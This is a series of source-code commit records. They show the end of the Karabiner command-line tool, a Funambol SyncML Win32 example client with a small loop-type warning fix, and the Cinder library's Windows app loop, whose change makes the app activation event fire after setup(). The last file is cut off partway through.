return copy_current_profile_to_system_default_profile();
}
}
{
std::string key = "remove-system-default-profile";
if (parse_result.count(key)) {
if (getuid() != 0) {
krbn::logger::get_logger().error("--{0} requires root privilege.", key);
return 1;
}
return remove_system_default_profile();
}
}
} catch (const cxxopts::OptionException& e) {
std::cout << "error parsing options: " << e.what() << std::endl;
return 2;
}
std::cout << options.help() << std::endl;
std::cout << "Examples:" << std::endl;
std::cout << " karabiner_cli --select-profile 'Default profile'" << std::endl;
std::cout << std::endl;
return 1;
}
<|endoftext|>
|
<commit_before>/*
* Copyright (C) 2003-2006 Funambol
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "base/fscapi.h"
//#include "crtdbg.h"
#include "base/messages.h"
#include "base/Log.h"
#include "base/util/ArrayList.h"
#include "base/util/StringBuffer.h"
#include "spds/spdsutils.h"
#include "spds/constants.h"
#include "client/SyncClient.h"
#include "client/DMTClientConfig.h"
#include "examples/TestSyncSource.h"
#include "examples/TestSyncSource2.h"
#include "filter/AllClause.h"
#include "filter/ClauseUtil.h"
#include "filter/LogicalClause.h"
#include "filter/FieldClause.h"
#include "filter/SourceFilter.h"
#include "filter/WhereClause.h"
#include "syncml/core/core.h"
#include "syncml/formatter/Formatter.h"
#include "spds/DefaultConfigFactory.h"
#include "examples/listeners/TestSyncListener.h"
#include "examples/listeners/TestSyncSourceListener.h"
#include "examples/listeners/TestSyncStatusListener.h"
#include "examples/listeners/TestSyncItemListener.h"
#include "examples/listeners/TestTransportListener.h"
#include "event/SetListener.h"
// Define the test configuration
#include "examples/config.h"
void testFilter();
void testClause();
void testConfigFilter();
void testEncryption();
void createConfig(DMTClientConfig& config);
static void testXMLProcessor();
void printReport(SyncReport* sr, const char* sourceName);
#define APPLICATION_URI "Funambol/SyncclientPIM"
#define LOG_TITLE "Funambol Win32 Example Log"
#define LOG_PATH "."
#define LOG_LEVEL LOG_LEVEL_DEBUG
#define SOURCE_NAME "briefcase"
#define WSOURCE_NAME TEXT("briefcase")
#define DEVICE_ID "Funambol Win32 Example"
// Define DEBUG_SETTINGS in your project to create a default configuration
// tree for the test client. WARNING: it will override any previous setting!
//
#ifdef DEBUG_SETTINGS
int settings(const char *root);
#endif
#ifdef _WIN32_WCE
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd ) {
#else
int main(int argc, char** argv) {
#endif
// Init LOG
Log(0, LOG_PATH, LOG_NAME);
LOG.reset(LOG_TITLE);
LOG.setLevel(LOG_LEVEL);
#if 0
_CrtSetDbgFlag (ON);
// Get current flag
int tmpFlag = _CrtSetDbgFlag( _CRTDBG_REPORT_FLAG );
// Turn on leak-checking bit
tmpFlag |= _CRTDBG_LEAK_CHECK_DF;
// Turn on automatic checks
tmpFlag |= _CRTDBG_CHECK_ALWAYS_DF;
// Set flag to the new value
_CrtSetDbgFlag( tmpFlag );
#endif
#ifdef DEBUG_SETTINGS
if ( settings(APPLICATION_URI) ){
sprintf(logmsg, "Error %d setting config paramaters.", lastErrorCode);
LOG.error(logmsg);
return lastErrorCode;
}
#endif
#ifdef TEST_ENCODE
WCHAR *content = loadAndConvert(TEXT("message.xml"), TEXT("base64"));
if(!content) {
fprintf(stderr, "Error in uudecode.");
exit(1);
}
convertAndSave(TEXT("message_out.xml"), content, TEXT("base64"));
#endif
#ifdef TEST_EVENT_HANDLING
//
// Set listeners:
//
TestSyncListener* listener1 = new TestSyncListener();
TestSyncSourceListener* listener2 = new TestSyncSourceListener();
TestSyncStatusListener* listener3 = new TestSyncStatusListener();
TestSyncItemListener* listener4 = new TestSyncItemListener();
TestTransportListener* listener5 = new TestTransportListener();
setSyncListener (listener1);
setSyncSourceListener(listener2);
setSyncStatusListener(listener3);
setSyncItemListener (listener4);
setTransportListener (listener5);
#ifndef TEST_SYNCSOURCE
#define TEST_SYNCSOURCE 1
#endif
#endif
// ------------- Main sample client ------------------------
#ifdef TEST_SYNCSOURCE
//
// Create the configuration.
//
DMTClientConfig config(APPLICATION_URI);
// Read config from registry.
if (!config.read() ||
strcmp(config.getDeviceConfig().getDevID(), DEVICE_ID)) {
// Config not found -> generate a default config
createConfig(config);
}
//
// Create the SyncSource passing its name and its config.
//
TestSyncSource source(WSOURCE_NAME, config.getSyncSourceConfig(SOURCE_NAME));
SyncSource* ssArray[2];
ssArray[0] = &source;
ssArray[1] = NULL;
//
// Create the SyncClient passing the config.
//
SyncClient sampleClient;
// SYNC!
if( sampleClient.sync(config, ssArray) ) {
LOG.error("Error in sync.");
}
// Print sync results.
printReport(sampleClient.getSyncReport(), SOURCE_NAME);
// Save config to registry.
config.save();
#endif
// ----------------------------------------------------------
#ifdef TEST_EVENT_HANDLING
//
// Unset Listeners
//
unsetSyncListener ();
unsetSyncSourceListener();
unsetSyncStatusListener();
unsetSyncItemListener ();
unsetTransportListener ();
#endif
#ifdef TEST_SYNC_ENCRYPTION
Sync4jClient& s4j = Sync4jClient::getInstance();
s4j.setDMConfig(APPLICATION_URI);
TestSyncSource source = TestSyncSource(TEXT("briefcase"));
SyncSource** ssArray = new SyncSource*[2];
ssArray[0] = &source;
ssArray[1] = NULL;
s4j.sync(ssArray);
#endif
#ifdef TEST_ENCRYPTION
testEncryption();
#endif
#ifdef TEST_FILTER
testFilter();
#endif
#ifdef TEST_CLAUSE
testClause();
#endif
#ifdef TEST_CONFIG_FILTER
testConfigFilter();
#endif
#ifdef TEST_XMLPROCESSOR
testXMLProcessor();
#endif
return 0;
}
static void testXMLProcessor(void)
{
const char xml1[] =
"<document>\n\
<LocURI>./devinf11</LocURI>\n\
<plaintag>\n\
<attrtag attr=\"val\">content</attrtag>\n\
</plaintag>\n\
<emptytag/>\n\
</document>" ;
unsigned int pos = 0, start = 0, end = 0;
const char *p = 0;
// Get 'document' tag
char *doc = XMLProcessor::copyElementContent(xml1, "document", &pos);
LOG.debug("Document: '%s'", doc);
LOG.debug("xml[pos]= '%s'", xml1 + pos);
char buf[256];
// Get 'plaintag' content, using start/end pos
if(!XMLProcessor::getElementContent(doc, "plaintag", &pos, &start, &end)){
LOG.error("TEST FAILED.");
return;
}
memset(buf, 0, 255);
memcpy(buf, doc+start, end-start);
LOG.debug("Plaintag: '%s'", buf);
// Get 'LocURI' content, using start/end pos
if(!XMLProcessor::getElementContent(doc, "LocURI", &pos, &start, &end)){
LOG.error("TEST FAILED.");
return;
}
memset(buf, 0, 255);
memcpy(buf, doc+start, end-start);
LOG.debug("LocURI: '%s'", buf);
// Get 'attrtag' content, using start/end pos
if(!XMLProcessor::getElementContent(doc, "attrtag", &pos, &start, &end)){
LOG.error("TEST FAILED.");
return;
}
memset(buf, 0, 255);
memcpy(buf, doc+start, end-start);
LOG.debug("Attrtag: '%s'", buf);
// Get 'attrtag' attr list, using start/end pos
if(!XMLProcessor::getElementAttributes(doc, "attrtag", &start, &end)){
LOG.error("TEST FAILED.");
return;
}
memset(buf, 0, 255);
memcpy(buf, doc+start, end-start);
LOG.debug("Attrlist: '%s'", buf);
// Get 'emptytag' content, that should be empty
const char*empty = XMLProcessor::copyElementContent(doc, "emptytag");
if(!empty){
LOG.error("TEST FAILED.");
return;
}
LOG.debug("Emptytag: '%s'", empty);
if(doc)
delete [] doc;
if (empty)
delete [] empty;
}
//
// Function to create a default config.
//
void createConfig(DMTClientConfig& config) {
AccessConfig* ac = DefaultConfigFactory::getAccessConfig();
config.setAccessConfig(*ac);
delete ac;
DeviceConfig* dc = DefaultConfigFactory::getDeviceConfig();
dc->setDevID(DEVICE_ID); // So next time won't be generated, we always save config at the end.
dc->setMan ("Funambol");
config.setDeviceConfig(*dc);
delete dc;
SyncSourceConfig* sc = DefaultConfigFactory::getSyncSourceConfig(SOURCE_NAME);
sc->setEncoding("plain/text");
sc->setType ("text");
sc->setURI ("briefcase");
config.setSyncSourceConfig(*sc);
delete sc;
}
#include "base/util/StringBuffer.h"
//
// Prints a formatted report for the synchronization process.
//
void printReport(SyncReport* sr, const char*sourceName) {
StringBuffer res;
char tmp[512];
res = "===========================================================\n";
res.append("================ SYNCHRONIZATION REPORT ===============\n");
res.append("===========================================================\n");
sprintf(tmp, "Last error code = %d\n", sr->getLastErrorCode());
res.append(tmp);
sprintf(tmp, "Last error msg = %s\n\n", sr->getLastErrorMsg());
res.append(tmp);
res.append("----------|--------CLIENT---------|--------SERVER---------|\n");
res.append(" Source | NEW | MOD | DEL | NEW | MOD | DEL |\n");
res.append("----------|-----------------------------------------------|\n");
int sourceNumber = 1;
for (unsigned int i=0; i<sourceNumber; i++) {
SyncSourceReport* ssr = sr->getSyncSourceReport(sourceName);
sprintf(tmp, "%10s|", ssr->getSourceName());
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(CLIENT, COMMAND_ADD), ssr->getItemReportCount(CLIENT, COMMAND_ADD));
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(CLIENT, COMMAND_REPLACE), ssr->getItemReportCount(CLIENT, COMMAND_REPLACE));
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(CLIENT, COMMAND_DELETE), ssr->getItemReportCount(CLIENT, COMMAND_DELETE));
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(SERVER, COMMAND_ADD), ssr->getItemReportCount(SERVER, COMMAND_ADD));
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(SERVER, COMMAND_REPLACE), ssr->getItemReportCount(SERVER, COMMAND_REPLACE));
res.append(tmp);
sprintf(tmp, "%3d/%3d|\n", ssr->getItemReportSuccessfulCount(SERVER, COMMAND_DELETE), ssr->getItemReportCount(SERVER, COMMAND_DELETE));
res.append(tmp);
res.append("----------|-----------------------------------------------|\n\n");
sprintf(tmp, "%s:\n----------", ssr->getSourceName());
res.append(tmp);
sprintf(tmp, "\nSource State = %d\n", ssr->getState());
res.append(tmp);
sprintf(tmp, "Last error code = %d\n", ssr->getLastErrorCode());
res.append(tmp);
sprintf(tmp, "Last error msg = %s\n\n", ssr->getLastErrorMsg());
res.append(tmp);
}
printf("\n%s", res.c_str());
}
<commit_msg>Warning removed<commit_after>/*
* Copyright (C) 2003-2006 Funambol
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "base/fscapi.h"
//#include "crtdbg.h"
#include "base/messages.h"
#include "base/Log.h"
#include "base/util/ArrayList.h"
#include "base/util/StringBuffer.h"
#include "spds/spdsutils.h"
#include "spds/constants.h"
#include "client/SyncClient.h"
#include "client/DMTClientConfig.h"
#include "examples/TestSyncSource.h"
#include "examples/TestSyncSource2.h"
#include "filter/AllClause.h"
#include "filter/ClauseUtil.h"
#include "filter/LogicalClause.h"
#include "filter/FieldClause.h"
#include "filter/SourceFilter.h"
#include "filter/WhereClause.h"
#include "syncml/core/core.h"
#include "syncml/formatter/Formatter.h"
#include "spds/DefaultConfigFactory.h"
#include "examples/listeners/TestSyncListener.h"
#include "examples/listeners/TestSyncSourceListener.h"
#include "examples/listeners/TestSyncStatusListener.h"
#include "examples/listeners/TestSyncItemListener.h"
#include "examples/listeners/TestTransportListener.h"
#include "event/SetListener.h"
// Define the test configuration
#include "examples/config.h"
void testFilter();
void testClause();
void testConfigFilter();
void testEncryption();
void createConfig(DMTClientConfig& config);
static void testXMLProcessor();
void printReport(SyncReport* sr, const char* sourceName);
#define APPLICATION_URI "Funambol/SyncclientPIM"
#define LOG_TITLE "Funambol Win32 Example Log"
#define LOG_PATH "."
#define LOG_LEVEL LOG_LEVEL_DEBUG
#define SOURCE_NAME "briefcase"
#define WSOURCE_NAME TEXT("briefcase")
#define DEVICE_ID "Funambol Win32 Example"
// Define DEBUG_SETTINGS in your project to create a default configuration
// tree for the test client. WARNING: it will override any previous setting!
//
#ifdef DEBUG_SETTINGS
int settings(const char *root);
#endif
#ifdef _WIN32_WCE
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd ) {
#else
int main(int argc, char** argv) {
#endif
// Init LOG
Log(0, LOG_PATH, LOG_NAME);
LOG.reset(LOG_TITLE);
LOG.setLevel(LOG_LEVEL);
#if 0
_CrtSetDbgFlag (ON);
// Get current flag
int tmpFlag = _CrtSetDbgFlag( _CRTDBG_REPORT_FLAG );
// Turn on leak-checking bit
tmpFlag |= _CRTDBG_LEAK_CHECK_DF;
// Turn on automatic checks
tmpFlag |= _CRTDBG_CHECK_ALWAYS_DF;
// Set flag to the new value
_CrtSetDbgFlag( tmpFlag );
#endif
#ifdef DEBUG_SETTINGS
if ( settings(APPLICATION_URI) ){
sprintf(logmsg, "Error %d setting config paramaters.", lastErrorCode);
LOG.error(logmsg);
return lastErrorCode;
}
#endif
#ifdef TEST_ENCODE
WCHAR *content = loadAndConvert(TEXT("message.xml"), TEXT("base64"));
if(!content) {
fprintf(stderr, "Error in uudecode.");
exit(1);
}
convertAndSave(TEXT("message_out.xml"), content, TEXT("base64"));
#endif
#ifdef TEST_EVENT_HANDLING
//
// Set listeners:
//
TestSyncListener* listener1 = new TestSyncListener();
TestSyncSourceListener* listener2 = new TestSyncSourceListener();
TestSyncStatusListener* listener3 = new TestSyncStatusListener();
TestSyncItemListener* listener4 = new TestSyncItemListener();
TestTransportListener* listener5 = new TestTransportListener();
setSyncListener (listener1);
setSyncSourceListener(listener2);
setSyncStatusListener(listener3);
setSyncItemListener (listener4);
setTransportListener (listener5);
#ifndef TEST_SYNCSOURCE
#define TEST_SYNCSOURCE 1
#endif
#endif
// ------------- Main sample client ------------------------
#ifdef TEST_SYNCSOURCE
//
// Create the configuration.
//
DMTClientConfig config(APPLICATION_URI);
// Read config from registry.
if (!config.read() ||
strcmp(config.getDeviceConfig().getDevID(), DEVICE_ID)) {
// Config not found -> generate a default config
createConfig(config);
}
//
// Create the SyncSource passing its name and its config.
//
TestSyncSource source(WSOURCE_NAME, config.getSyncSourceConfig(SOURCE_NAME));
SyncSource* ssArray[2];
ssArray[0] = &source;
ssArray[1] = NULL;
//
// Create the SyncClient passing the config.
//
SyncClient sampleClient;
// SYNC!
if( sampleClient.sync(config, ssArray) ) {
LOG.error("Error in sync.");
}
// Print sync results.
printReport(sampleClient.getSyncReport(), SOURCE_NAME);
// Save config to registry.
config.save();
#endif
// ----------------------------------------------------------
#ifdef TEST_EVENT_HANDLING
//
// Unset Listeners
//
unsetSyncListener ();
unsetSyncSourceListener();
unsetSyncStatusListener();
unsetSyncItemListener ();
unsetTransportListener ();
#endif
#ifdef TEST_SYNC_ENCRYPTION
Sync4jClient& s4j = Sync4jClient::getInstance();
s4j.setDMConfig(APPLICATION_URI);
TestSyncSource source = TestSyncSource(TEXT("briefcase"));
SyncSource** ssArray = new SyncSource*[2];
ssArray[0] = &source;
ssArray[1] = NULL;
s4j.sync(ssArray);
#endif
#ifdef TEST_ENCRYPTION
testEncryption();
#endif
#ifdef TEST_FILTER
testFilter();
#endif
#ifdef TEST_CLAUSE
testClause();
#endif
#ifdef TEST_CONFIG_FILTER
testConfigFilter();
#endif
#ifdef TEST_XMLPROCESSOR
testXMLProcessor();
#endif
return 0;
}
static void testXMLProcessor(void)
{
const char xml1[] =
"<document>\n\
<LocURI>./devinf11</LocURI>\n\
<plaintag>\n\
<attrtag attr=\"val\">content</attrtag>\n\
</plaintag>\n\
<emptytag/>\n\
</document>" ;
unsigned int pos = 0, start = 0, end = 0;
const char *p = 0;
// Get 'document' tag
char *doc = XMLProcessor::copyElementContent(xml1, "document", &pos);
LOG.debug("Document: '%s'", doc);
LOG.debug("xml[pos]= '%s'", xml1 + pos);
char buf[256];
// Get 'plaintag' content, using start/end pos
if(!XMLProcessor::getElementContent(doc, "plaintag", &pos, &start, &end)){
LOG.error("TEST FAILED.");
return;
}
memset(buf, 0, 255);
memcpy(buf, doc+start, end-start);
LOG.debug("Plaintag: '%s'", buf);
// Get 'LocURI' content, using start/end pos
if(!XMLProcessor::getElementContent(doc, "LocURI", &pos, &start, &end)){
LOG.error("TEST FAILED.");
return;
}
memset(buf, 0, 255);
memcpy(buf, doc+start, end-start);
LOG.debug("LocURI: '%s'", buf);
// Get 'attrtag' content, using start/end pos
if(!XMLProcessor::getElementContent(doc, "attrtag", &pos, &start, &end)){
LOG.error("TEST FAILED.");
return;
}
memset(buf, 0, 255);
memcpy(buf, doc+start, end-start);
LOG.debug("Attrtag: '%s'", buf);
// Get 'attrtag' attr list, using start/end pos
if(!XMLProcessor::getElementAttributes(doc, "attrtag", &start, &end)){
LOG.error("TEST FAILED.");
return;
}
memset(buf, 0, 255);
memcpy(buf, doc+start, end-start);
LOG.debug("Attrlist: '%s'", buf);
// Get 'emptytag' content, that should be empty
const char*empty = XMLProcessor::copyElementContent(doc, "emptytag");
if(!empty){
LOG.error("TEST FAILED.");
return;
}
LOG.debug("Emptytag: '%s'", empty);
if(doc)
delete [] doc;
if (empty)
delete [] empty;
}
//
// Function to create a default config.
//
void createConfig(DMTClientConfig& config) {
AccessConfig* ac = DefaultConfigFactory::getAccessConfig();
config.setAccessConfig(*ac);
delete ac;
DeviceConfig* dc = DefaultConfigFactory::getDeviceConfig();
dc->setDevID(DEVICE_ID); // So next time won't be generated, we always save config at the end.
dc->setMan ("Funambol");
config.setDeviceConfig(*dc);
delete dc;
SyncSourceConfig* sc = DefaultConfigFactory::getSyncSourceConfig(SOURCE_NAME);
sc->setEncoding("plain/text");
sc->setType ("text");
sc->setURI ("briefcase");
config.setSyncSourceConfig(*sc);
delete sc;
}
#include "base/util/StringBuffer.h"
//
// Prints a formatted report for the synchronization process.
//
void printReport(SyncReport* sr, const char*sourceName) {
StringBuffer res;
char tmp[512];
res = "===========================================================\n";
res.append("================ SYNCHRONIZATION REPORT ===============\n");
res.append("===========================================================\n");
sprintf(tmp, "Last error code = %d\n", sr->getLastErrorCode());
res.append(tmp);
sprintf(tmp, "Last error msg = %s\n\n", sr->getLastErrorMsg());
res.append(tmp);
res.append("----------|--------CLIENT---------|--------SERVER---------|\n");
res.append(" Source | NEW | MOD | DEL | NEW | MOD | DEL |\n");
res.append("----------|-----------------------------------------------|\n");
int sourceNumber = 1;
for (int i=0; i<sourceNumber; i++) {
SyncSourceReport* ssr = sr->getSyncSourceReport(sourceName);
sprintf(tmp, "%10s|", ssr->getSourceName());
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(CLIENT, COMMAND_ADD), ssr->getItemReportCount(CLIENT, COMMAND_ADD));
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(CLIENT, COMMAND_REPLACE), ssr->getItemReportCount(CLIENT, COMMAND_REPLACE));
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(CLIENT, COMMAND_DELETE), ssr->getItemReportCount(CLIENT, COMMAND_DELETE));
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(SERVER, COMMAND_ADD), ssr->getItemReportCount(SERVER, COMMAND_ADD));
res.append(tmp);
sprintf(tmp, "%3d/%3d|", ssr->getItemReportSuccessfulCount(SERVER, COMMAND_REPLACE), ssr->getItemReportCount(SERVER, COMMAND_REPLACE));
res.append(tmp);
sprintf(tmp, "%3d/%3d|\n", ssr->getItemReportSuccessfulCount(SERVER, COMMAND_DELETE), ssr->getItemReportCount(SERVER, COMMAND_DELETE));
res.append(tmp);
res.append("----------|-----------------------------------------------|\n\n");
sprintf(tmp, "%s:\n----------", ssr->getSourceName());
res.append(tmp);
sprintf(tmp, "\nSource State = %d\n", ssr->getState());
res.append(tmp);
sprintf(tmp, "Last error code = %d\n", ssr->getLastErrorCode());
res.append(tmp);
sprintf(tmp, "Last error msg = %s\n\n", ssr->getLastErrorMsg());
res.append(tmp);
}
printf("\n%s", res.c_str());
}
<|endoftext|>
|
<commit_before>/*
Copyright (c) 2012, The Cinder Project, All rights reserved.
This code is intended for use with the Cinder C++ library: http://libcinder.org
Redistribution and use in source and binary forms, with or without modification, are permitted provided that
the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and
the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and
the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#include "cinder/app/AppImplMswBasic.h"
#include "cinder/app/AppBasic.h"
#include "cinder/app/AppImplMswRenderer.h"
#include "cinder/app/Renderer.h"
#include "cinder/Utilities.h"
#include <windowsx.h>
#include <winuser.h>
using std::vector;
using std::string;
namespace cinder { namespace app {
AppImplMswBasic::AppImplMswBasic( AppBasic *aApp )
: AppImplMsw( aApp ), mApp( aApp )
{
mShouldQuit = false;
}
void AppImplMswBasic::run()
{
mFrameRate = mApp->getSettings().getFrameRate();
mFrameRateEnabled = mApp->getSettings().isFrameRateEnabled();
auto formats = mApp->getSettings().getWindowFormats();
if( formats.empty() )
formats.push_back( mApp->getSettings().getDefaultWindowFormat() );
for( auto format = formats.begin(); format != formats.end(); ++format ) {
if( ! format->isTitleSpecified() )
format->setTitle( mApp->getSettings().getTitle() );
createWindow( *format );
}
mApp->privateSetup__();
mSetupHasBeenCalled = true;
for( auto windowIt = mWindows.begin(); windowIt != mWindows.end(); ++windowIt )
(*windowIt)->resize();
// initialize our next frame time
mNextFrameTime = getElapsedSeconds();
// inner loop
while( ! mShouldQuit ) {
// update and draw
mApp->privateUpdate__();
for( auto windowIt = mWindows.begin(); windowIt != mWindows.end(); ++windowIt )
(*windowIt)->redraw();
// get current time in seconds
double currentSeconds = mApp->getElapsedSeconds();
// calculate time per frame in seconds
double secondsPerFrame = 1.0 / mFrameRate;
// determine if application was frozen for a while and adjust next frame time
double elapsedSeconds = currentSeconds - mNextFrameTime;
if( elapsedSeconds > 1.0 ) {
int numSkipFrames = (int)(elapsedSeconds / secondsPerFrame);
mNextFrameTime += (numSkipFrames * secondsPerFrame);
}
// determine when next frame should be drawn
mNextFrameTime += secondsPerFrame;
// sleep and process messages until next frame
if( ( mFrameRateEnabled ) && ( mNextFrameTime > currentSeconds ) )
sleep(mNextFrameTime - currentSeconds);
else {
MSG msg;
while( ::PeekMessage( &msg, NULL, 0, 0, PM_REMOVE ) ) {
::TranslateMessage( &msg );
::DispatchMessage( &msg );
}
}
}
// killWindow( mFullScreen );
mApp->emitShutdown();
delete mApp;
}
void AppImplMswBasic::sleep( double seconds )
{
// create waitable timer
static HANDLE timer = ::CreateWaitableTimer( NULL, FALSE, NULL );
// specify relative wait time in units of 100 nanoseconds
LARGE_INTEGER waitTime;
waitTime.QuadPart = (LONGLONG)(seconds * -10000000);
if(waitTime.QuadPart >= 0) return;
// activate waitable timer
if ( !::SetWaitableTimer( timer, &waitTime, 0, NULL, NULL, FALSE ) )
return;
// handle events until specified time has elapsed
DWORD result;
MSG msg;
while( ! mShouldQuit ) {
result = ::MsgWaitForMultipleObjects( 1, &timer, false, INFINITE, QS_ALLINPUT );
if( result == (WAIT_OBJECT_0 + 1) ) {
// execute messages as soon as they arrive
while( ::PeekMessage( &msg, NULL, 0, 0, PM_REMOVE ) ) {
::TranslateMessage( &msg );
::DispatchMessage( &msg );
}
// resume waiting
}
else return; // time has elapsed
}
}
WindowRef AppImplMswBasic::createWindow( Window::Format format )
{
if( ! format.getRenderer() )
format.setRenderer( mApp->getDefaultRenderer()->clone() );
mWindows.push_back( new WindowImplMswBasic( format, mApp->findSharedRenderer( format.getRenderer() ), this ) );
// emit initial resize if we have fired setup
if( mSetupHasBeenCalled )
mWindows.back()->getWindow()->emitResize();
return mWindows.back()->getWindow();
}
void AppImplMswBasic::closeWindow( WindowImplMsw *windowImpl )
{
auto winIt = find( mWindows.begin(), mWindows.end(), windowImpl );
if( winIt != mWindows.end() ) {
windowImpl->getWindow()->emitClose();
windowImpl->privateClose();
delete windowImpl; // this corresponds to winIt
mWindows.erase( winIt );
}
if( mWindows.empty() && mApp->getSettings().isQuitOnLastWindowCloseEnabled() )
mShouldQuit = true;
}
size_t AppImplMswBasic::getNumWindows() const
{
return mWindows.size();
}
WindowRef AppImplMswBasic::getWindowIndex( size_t index )
{
if( index >= mWindows.size() )
return cinder::app::WindowRef();
std::list<WindowImplMswBasic*>::iterator iter = mWindows.begin();
std::advance( iter, index );
return (*iter)->mWindowRef;
}
WindowRef AppImplMswBasic::getForegroundWindow() const
{
return mForegroundWindow;
}
void AppImplMswBasic::setForegroundWindow( WindowRef window )
{
mForegroundWindow = window;
}
// This creates a full-screen blanking (all black) Window on each display besides 'fullScreenDisplay'
void AppImplMswBasic::setupBlankingWindows( DisplayRef fullScreenDisplay )
{
destroyBlankingWindows();
for( auto displayIt = Display::getDisplays().begin(); displayIt != Display::getDisplays().end(); ++displayIt ) {
if( *displayIt == fullScreenDisplay )
continue;
mBlankingWindows.push_back( BlankingWindowRef( new BlankingWindow( *displayIt ) ) );
}
}
void AppImplMswBasic::destroyBlankingWindows()
{
for( auto winIt = mBlankingWindows.begin(); winIt != mBlankingWindows.end(); ++winIt )
(*winIt)->destroy();
mBlankingWindows.clear();
}
float AppImplMswBasic::setFrameRate( float aFrameRate )
{
mFrameRate = aFrameRate;
mFrameRateEnabled = true;
mNextFrameTime = mApp->getElapsedSeconds();
return aFrameRate;
}
void AppImplMswBasic::disableFrameRate()
{
mFrameRateEnabled = false;
}
bool AppImplMswBasic::isFrameRateEnabled() const
{
return mFrameRateEnabled;
}
///////////////////////////////////////////////////////////////////////////////
// WindowImplMswBasic
void WindowImplMswBasic::toggleFullScreen( const app::FullScreenOptions &options )
{
// if we were full-screen, destroy our blanking windows
if( mFullScreen )
mAppImplBasic->destroyBlankingWindows();
WindowImplMsw::toggleFullScreen( options );
// if we've entered full-screen, setup our blanking windows if necessary
if( options.isSecondaryDisplayBlankingEnabled() && mFullScreen )
mAppImplBasic->setupBlankingWindows( getDisplay() );
}
} } // namespace cinder::app<commit_msg>App activation event fires after setup() on MSW now<commit_after>/*
Copyright (c) 2012, The Cinder Project, All rights reserved.
This code is intended for use with the Cinder C++ library: http://libcinder.org
Redistribution and use in source and binary forms, with or without modification, are permitted provided that
the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and
the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and
the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#include "cinder/app/AppImplMswBasic.h"
#include "cinder/app/AppBasic.h"
#include "cinder/app/AppImplMswRenderer.h"
#include "cinder/app/Renderer.h"
#include "cinder/Utilities.h"
#include <windowsx.h>
#include <winuser.h>
using std::vector;
using std::string;
namespace cinder { namespace app {
AppImplMswBasic::AppImplMswBasic( AppBasic *aApp )
: AppImplMsw( aApp ), mApp( aApp )
{
mShouldQuit = false;
